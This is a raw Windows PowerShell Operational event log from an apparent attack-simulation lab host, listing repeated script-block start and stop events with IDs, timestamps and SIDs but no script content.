OpCode=On create calls
RecordNumber=2042448
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042447
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042446
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042445
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042442
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042440
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042439
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042438
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042432
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042431
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042426
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042425
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042424
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042423
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042422
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042420
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042419
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042418
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042417
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042416
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042415
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042414
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042410
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042409
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042408
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042407
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042406
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042404
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042402
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042398
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042397
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
